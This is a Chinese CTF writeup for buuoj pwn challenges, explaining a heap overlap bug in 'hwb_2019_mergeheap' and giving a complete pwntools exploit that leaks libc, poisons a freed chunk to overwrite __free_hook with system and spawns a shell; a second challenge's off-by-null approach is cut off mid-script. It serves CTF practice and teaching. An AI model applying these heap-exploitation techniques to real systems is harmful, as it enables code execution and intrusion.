buuoj Pwn writeup 186-190

186 hwb_2019_mergeheap

在这里插入图片描述
在这里插入图片描述最多15个chunk。

show
在这里插入图片描述正常输出。

free
在这里插入图片描述free把程序保护的很好。

merge
在这里插入图片描述这个里面会有漏洞,因为strcpy,strcat都是以’\x00’结尾的,所以我们在merge的时候可以在特定情况下把特定东西带出来。

利用方式
我们先通过常规方式泄露libc地址,然后通过merge来把,某个chunk的大size拉到另外一个chunk的size的位置,来造成overlap,从而进行fastbin attack,来达到利用效果。
因为是ubuntu18,所以我们可以直接攻击free_hook。

ps:这个题输入要注意一下,是自己实现的,不一样。要么被回车截断,要么只能输满,所以我们很多地方后面都要加一个回车。

from pwn import *

context.log_level = "debug"

r = remote("node3.buuoj.cn", 26562)
#r = process("./186")

elf = ELF("./186")
libc = ELF("./64/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]

def add(size, content):
    r.sendlineafter(">>", "1")
    r.sendlineafter("len:", str(size))
    r.sendafter("content:", content)

def show(index):
    r.sendlineafter(">>", "2")
    r.sendlineafter("idx:", str(index))

def delete(index):
    r.sendlineafter(">>", "3")
    r.sendlineafter("idx:", str(index))

def merge(index1, index2):
    r.sendlineafter(">>", "4")
    r.sendlineafter("idx1:", str(index1))
    r.sendlineafter("idx2:", str(index2))

for i in range(8):
	add(0x80, 'aaaaaaaa\n')

for i in range(1, 8):
	delete(i)

delete(0)
add(8, 'aaaaaaaa') #0
show(0)
r.recvuntil('a'*8)
malloc_hook = (u64(r.recvuntil('\x7f').ljust(8, '\x00'))&0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_base + " + hex(libc_base)

add(0x60, 'aaaa\n') #1
add(0x30, 'aaaa'*0x30) #2
add(0x38, 'aaaa'*0x38) #3
add(0x100, 'aaaa\n') #4
add(0x68, 'aaaa\n') #5
add(0x20, 'aaaa\n') #6
add(0x20, 'aaaa\n') #7
add(0x20, 'aaaa\n') #8
add(0x20, '/bin/sh\n') #9

delete(5)
delete(7)
delete(8)

merge(2, 3) #5
delete(6)
payload = 'a' * 0x28 + p64(0x31) + p64(free_hook) + p64(0) + '\n'
add(0x100, payload) #6 

add(0x20, 'hi\n') #7
add(0x20, 'hi\n') #8
add(0x20, p64(system_addr) + '\n') #10
delete(9)

r.interactive()

187 nsctf_online_2019_pwn1

在这里插入图片描述
add
在这里插入图片描述结构跟上个题很像。

delete
在这里插入图片描述清理的也很干净。

show是假的

update
在这里插入图片描述有防溢出。也有个off by null。

所以思路很清晰,我们就是根据off by null,因为没有show,所以通过攻击IO_file来泄露libc地址,制造overlap,进行攻击。

# -*- coding: utf-8 -*-
from pwn import *

#context.log_level = "debug"

elf = ELF("./187")
libc = ELF("./64/libc-2.27.so"
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值